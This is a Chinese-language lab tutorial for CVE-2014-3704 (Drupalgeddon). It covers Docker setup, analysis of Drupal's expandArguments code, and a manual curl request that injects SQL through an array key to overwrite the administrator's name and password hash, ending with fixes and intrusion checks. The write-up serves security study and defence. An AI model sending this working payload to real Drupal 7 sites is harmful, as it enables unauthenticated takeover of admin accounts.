文章

CVE-2014-3704 Drupalgeddon 从零到一复现教程:环境搭建、代码分析与手动利用

面向完全新手的 CVE-2014-3704 Drupalgeddon 本地靶场复现教程,包含 Docker 环境搭建、Drupal 7.31 安装、漏洞代码级分析、curl 手动复现、数据库验证和修复建议。

CVE-2014-3704 Drupalgeddon 从零到一复现教程:环境搭建、代码分析与手动利用

免责声明:本文仅用于本地靶场学习、CTF 训练和授权安全研究。请勿对未授权的网站或系统进行测试。文中的所有命令默认只针对 127.0.0.1 本地环境。

目录


漏洞简介

CVE-2014-3704 是 Drupal 7 中一个非常经典的 SQL 注入漏洞,也常被称为 Drupalgeddon。

项目内容
漏洞编号CVE-2014-3704
常见名称Drupalgeddon
漏洞类型SQL 注入
影响对象Drupal 7.x
典型影响版本Drupal 7.0 到 7.31
修复版本Drupal 7.32 及之后版本
攻击条件通常不需要登录
主要危害读取、修改数据库,进一步接管站点

一句话解释这个漏洞:

Drupal 7.31 在处理 SQL 占位符数组参数时,没有正确过滤用户可控的数组 key,导致攻击者可以把 SQL 片段塞进参数名里,最终实现 SQL 注入。

本文会从零开始搭建本地 Drupal 7.31 靶场,然后通过代码分析和手动 curl 请求完成复现。


实验目标

完成本文后,你应该能理解并做到:

  1. 使用 Docker 启动一个 Drupal 7.31 本地靶场。
  2. 完成 Drupal 的基础安装。
  3. 找到 CVE-2014-3704 的核心漏洞代码。
  4. 理解为什么数组参数会导致 SQL 注入。
  5. 不依赖现成漏洞利用脚本,手动用 curl 构造 payload。
  6. 通过数据库和网页登录验证漏洞是否成功。
  7. 理解如何修复和防护该漏洞。

前置知识

1. 什么是 SQL 注入?

SQL 注入就是攻击者把自己构造的 SQL 语句混入应用原本的 SQL 查询中,让数据库执行了开发者没有预期的语句。

例如开发者原本只想查询用户:

1
SELECT * FROM users WHERE name = 'admin';

如果用户输入没有被正确处理,攻击者可能让 SQL 变成:

1
SELECT * FROM users WHERE name = 'admin'; UPDATE users SET name = 'hacker' WHERE uid = 1;

这样数据库就不仅查询了用户,还执行了修改操作。

2. 什么是 Drupal?

Drupal 是一个 PHP 编写的内容管理系统,类似 WordPress。很多网站曾经使用 Drupal 来搭建门户、博客、企业官网等。

3. 什么是占位符?

为了防止 SQL 注入,程序通常不会直接拼接用户输入,而是使用占位符。

例如:

1
2
3
4
$db->query(
  "SELECT * FROM users WHERE name = :name",
  array(':name' => 'admin')
);

这里的 :name 就是占位符。正常情况下,数据库驱动会把 'admin' 当作普通数据,而不是 SQL 代码。

CVE-2014-3704 的问题在于:

Drupal 本身支持数组参数展开,但数组 key 被攻击者控制后,污染了 SQL 占位符名称。


实验环境

本文使用本地 Docker 靶场。

组件版本或说明
操作系统Linux
Web 应用Drupal 7.31
PHP由 Docker 镜像提供
数据库MySQL 5.7
Web 端口127.0.0.1:8080
靶场范围仅限本机

工作目录示例:

1
2
mkdir -p ~/CTF/CVE/CVE-2014-3704
cd ~/CTF/CVE/CVE-2014-3704

第一步:准备 Docker 靶场

1. 编写 docker-compose.yml

在实验目录中新建 docker-compose.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
services:
  web:
    image: vulhub/drupal:7.31
    container_name: cve-2014-3704-drupal
    depends_on:
      - db
    ports:
      - "8080:80"
    restart: unless-stopped

  db:
    image: mysql:5.7
    container_name: cve-2014-3704-mysql
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: drupal
      MYSQL_USER: drupal
      MYSQL_PASSWORD: drupal
    command: --character-set-server=utf8 --collation-server=utf8_general_ci
    restart: unless-stopped

这里启动了两个容器:

容器作用
cve-2014-3704-drupalDrupal Web 服务
cve-2014-3704-mysqlMySQL 数据库

数据库连接信息是:

项目值
数据库主机db
数据库名drupal
数据库用户drupal
数据库密码drupal

2. 启动 Docker

如果 Docker 服务没有启动,先执行:

1
sudo systemctl start docker

然后启动靶场:

1
docker-compose up -d

查看容器状态:

1
docker ps

如果看到 Drupal 和 MySQL 两个容器都处于 Up 状态,说明环境启动成功。

访问:

1
http://127.0.0.1:8080

如果看到 Drupal 安装页面,就可以继续下一步。


第二步:安装 Drupal 7.31

你可以在浏览器中手动安装,也可以用脚本自动安装。为了新手更容易复现,下面先介绍浏览器方式。

1. 选择安装类型

打开:

1
http://127.0.0.1:8080/install.php

选择:

1
Minimal

也可以选择 Standard,但 Minimal 更简单,安装过程更快。

2. 选择语言

选择:

1
English

3. 配置数据库

填写 MySQL 信息:

页面字段填写内容
Database typeMySQL
Database namedrupal
Database usernamedrupal
Database passworddrupal
Database hostdb

注意:数据库主机不是 127.0.0.1,而是 Docker Compose 中的服务名 db。

4. 配置管理员

可以设置为:

项目值
Site nameCVE-2014-3704 Lab
Site emailadmin@example.local
Usernameadmin
Emailadmin@example.local
Passwordadmin123

安装完成后,可以访问:

1
http://127.0.0.1:8080/?q=user/login

使用:

1
admin / admin123

登录确认站点正常。


第三步:理解漏洞触发链路

CVE-2014-3704 的触发链路可以概括为:

1
2
3
4
5
6
7
8
9
10
11
攻击者提交特殊 POST 参数
        ↓
PHP 把 name[...] 解析成数组
        ↓
Drupal 登录逻辑把数组传给数据库查询
        ↓
Drupal 数据库层自动展开数组占位符
        ↓
数组 key 被拼进 SQL 语句
        ↓
SQL 注入成功

关键点是这个请求参数:

1
name[恶意 SQL 片段]=x

在 PHP 中,类似这样的参数:

1
name[0]=admin

会被解析为:

1
2
3
4
5
array(
  'name' => array(
    0 => 'admin'
  )
)

如果我们把数组 key 改成 SQL 片段,例如:

1
name[0 ;update users set name='manual' where uid=1;# ]=x

PHP 解析后,name 就变成了一个数组,数组 key 中包含攻击者控制的 SQL。


第四步:代码级分析漏洞原因

进入 Drupal 容器:

1
docker exec -it cve-2014-3704-drupal bash

1. 查看登录校验代码

执行:

1
nl -ba /var/www/html/modules/user/user.module | sed -n '2137,2152p'

核心代码如下:

1
2
3
4
5
6
7
8
9
function user_login_authenticate_validate($form, &$form_state) {
  $password = trim($form_state['values']['pass']);
  if (!empty($form_state['values']['name']) && !empty($password)) {
    $account = db_query(
      "SELECT * FROM {users} WHERE name = :name AND status = 1",
      array(':name' => $form_state['values']['name'])
    )->fetchObject();
  }
}

这里有两个关键点:

  1. SQL 中使用了 :name 占位符。
  2. :name 对应的值来自 $form_state['values']['name']。

正常情况下,name 是字符串:

1
$form_state['values']['name'] = 'admin';

但如果攻击者提交 name[...],它会变成数组:

1
2
3
$form_state['values']['name'] = array(
  "0 ;update users set name='manual' where uid=1;# " => "x"
);

于是数据库层会进入数组参数展开逻辑。

2. 查看数据库层 expandArguments 函数

执行:

1
nl -ba /var/www/html/includes/database/database.inc | sed -n '732,759p'

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function expandArguments(&$query, &$args) {
  $modified = FALSE;

  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    foreach ($data as $i => $value) {
      $new_keys[$key . '_' . $i] = $value;
    }

    $query = preg_replace(
      '#' . $key . '\b#',
      implode(', ', array_keys($new_keys)),
      $query
    );

    unset($args[$key]);
    $args += $new_keys;

    $modified = TRUE;
  }

  return $modified;
}

重点看这一行:

1
$new_keys[$key . '_' . $i] = $value;

其中:

变量来源是否可控
$key占位符名,例如 :name基本固定
$i数组 key攻击者可控
$value数组 value攻击者可控

正常情况下,如果参数是:

1
array(':uids' => array(1, 2, 3))

Drupal 会把它展开成:

1
:uids_0, :uids_1, :uids_2

这是正常功能。

但如果数组 key 是:

1
0 ;update users set name='manual', pass='HASH' where uid=1;# 

展开后的 placeholder 名就变成:

1
:name_0 ;update users set name='manual', pass='HASH' where uid=1;# 

然后它会被替换回 SQL 中。

3. SQL 被污染后的样子

原始 SQL:

1
SELECT * FROM users WHERE name = :name AND status = 1

被展开后,可能变成:

1
2
3
SELECT * FROM users WHERE name = :name_0 ;
update users set name='manual', pass='HASH' where uid=1;
# AND status = 1

解释一下:

符号作用
;结束上一条 SQL,开始下一条 SQL
update users set ...修改管理员账号
#注释后面的 SQL

所以真正造成影响的是这句:

1
update users set name='manual', pass='HASH' where uid=1;

Drupal 中 uid=1 通常是站点管理员。


第五步:手动构造 payload 复现

这一部分不用现成利用脚本,只用 curl 手动发送请求。

我们的目标是把管理员改成:

1
manual / manual123

1. 生成 Drupal 密码哈希

Drupal 的用户密码不是明文存储的,所以需要先生成 manual123 对应的 Drupal hash。

执行:

1
docker exec cve-2014-3704-drupal php /var/www/html/scripts/password-hash.sh manual123

输出类似:

1
password: manual123      hash: $S$DCLIifqm/JcWhE2lwqi5WeP5ckSW8.s9.4pqdT24jG0VFmc3Y0Mq

把 hash 保存为变量:

1
HASH='$S$DCLIifqm/JcWhE2lwqi5WeP5ckSW8.s9.4pqdT24jG0VFmc3Y0Mq'

如果你生成的 hash 和本文不同,也没关系,使用你自己命令输出的 hash 即可。

2. 发送手动 payload

执行:

1
2
3
4
5
6
7
curl -i -sS 'http://127.0.0.1:8080/?q=node&destination=node' \
  --data-urlencode "name[0 ;update users set name='manual', pass='$HASH' where uid=1;# ]=x" \
  --data-urlencode 'name[0]=x' \
  --data-urlencode 'pass=x' \
  --data-urlencode 'form_build_id=' \
  --data-urlencode 'form_id=user_login_block' \
  --data-urlencode 'op=Log in'

重点是这一段:

1
name[0 ;update users set name='manual', pass='$HASH' where uid=1;# ]=x

它会让 PHP 把 name 解析成数组,并把恶意 SQL 放进数组 key。

3. 为什么还要传 name[0]

命令中还有一行:

1
--data-urlencode 'name[0]=x'

它的作用是让 name 更稳定地保持数组结构,辅助触发 Drupal 的数组参数展开逻辑。

4. 为什么 pass 可以随便填

命令中:

1
--data-urlencode 'pass=x'

这里的密码并不是为了登录成功,而是为了让登录校验逻辑继续往下走,触发包含 db_query 的代码路径。


第六步:验证是否复现成功

方法一:数据库验证

执行:

1
docker exec cve-2014-3704-mysql mysql -udrupal -pdrupal -e "use drupal; select uid,name,mail,status,substring(pass,1,20) as pass_prefix from users;"

如果成功,你会看到类似:

1
2
3
uid  name    mail                 status  pass_prefix
0                                  0
1    manual  admin@example.local  1       $S$DCLIifqm/JcWhE2

只要 uid=1 的 name 变成 manual,说明 SQL 注入已经成功写入数据库。

方法二:网页登录验证

打开:

1
http://127.0.0.1:8080/?q=user/login

使用:

1
2
用户名:manual
密码:manual123

如果能登录到用户页面,说明复现成功。


第七步:从干净环境重新复现

如果你想完整地重新做一遍,可以清空容器和数据库卷:

1
docker-compose down --remove-orphans -v

重新启动:

1
docker-compose up -d

然后重新安装 Drupal,再执行手动 payload。

如果你写了自动安装脚本,也可以重新安装后直接复现:

1
python3 install_drupal_minimal.py

常见问题排查

1. 访问 127.0.0.1:8080 没反应

先检查容器是否启动:

1
docker ps

如果没有容器,执行:

1
docker-compose up -d

如果 Docker 服务没启动:

1
sudo systemctl start docker

2. Drupal 安装时数据库连接失败

检查数据库配置:

字段正确值
Database namedrupal
Usernamedrupal
Passworddrupal
Hostdb

注意 Host 是 db,不是 localhost。

3. payload 执行后没有变化

可以检查:

  1. Drupal 是否确实是 7.31。
  2. 是否已经升级或打补丁。
  3. curl 请求是否真的发到了 127.0.0.1:8080。
  4. HASH 变量是否正确设置。
  5. payload 中的引号是否被 shell 提前破坏。

建议先打印变量:

1
echo "$HASH"

确认它以 $S$ 开头。

4. 登录失败但数据库已经变了

如果数据库里 uid=1 的用户名已经是 manual,但网页登录失败,通常是密码 hash 不正确。

重新生成 hash:

1
docker exec cve-2014-3704-drupal php /var/www/html/scripts/password-hash.sh manual123

然后重新执行 payload。


修复建议

1. 升级 Drupal

最直接的修复方式是升级到 Drupal 7.32 或更高版本。

2. 不要暴露旧版本 Drupal

如果业务已经不再维护 Drupal 7,建议:

  1. 下线旧系统。
  2. 升级到受支持版本。
  3. 使用 WAF 只能作为临时缓解,不能替代补丁。

3. 检查是否已经被入侵

这个漏洞可以未授权修改数据库,所以修复后还要检查:

  • 管理员账号是否异常。
  • 是否存在陌生用户。
  • 是否存在异常模块。
  • 是否存在 WebShell。
  • 数据库中是否有异常内容。
  • Web 访问日志中是否存在可疑 POST 请求。

4. 最小权限原则

数据库账号不应拥有过高权限。虽然这个漏洞本身发生在应用查询层,但降低数据库权限可以减少攻击后的影响范围。


总结

CVE-2014-3704 的核心不是普通的字符串拼接 SQL 注入,而是一个比较特殊的 数组参数展开导致的 SQL 注入。

完整漏洞链路如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
name[...] 参数
    ↓
PHP 解析成数组
    ↓
Drupal 登录逻辑传入 db_query
    ↓
expandArguments 展开数组参数
    ↓
数组 key 拼进 SQL 占位符
    ↓
执行 update users set ...
    ↓
管理员账号被修改

最关键的漏洞代码是:

1
$new_keys[$key . '_' . $i] = $value;

其中 $i 来自用户可控的数组 key,却没有经过严格校验。

通过本文,你应该已经完成了:

  1. 本地 Drupal 7.31 靶场搭建。
  2. Drupal 安装。
  3. 漏洞代码定位。
  4. payload 原理理解。
  5. curl 手动复现。
  6. 数据库和网页登录验证。

再次强调:本文所有步骤仅限本地靶场和授权测试环境。不要对任何未授权目标进行测试。

本文由作者按照 CC BY 4.0 进行授权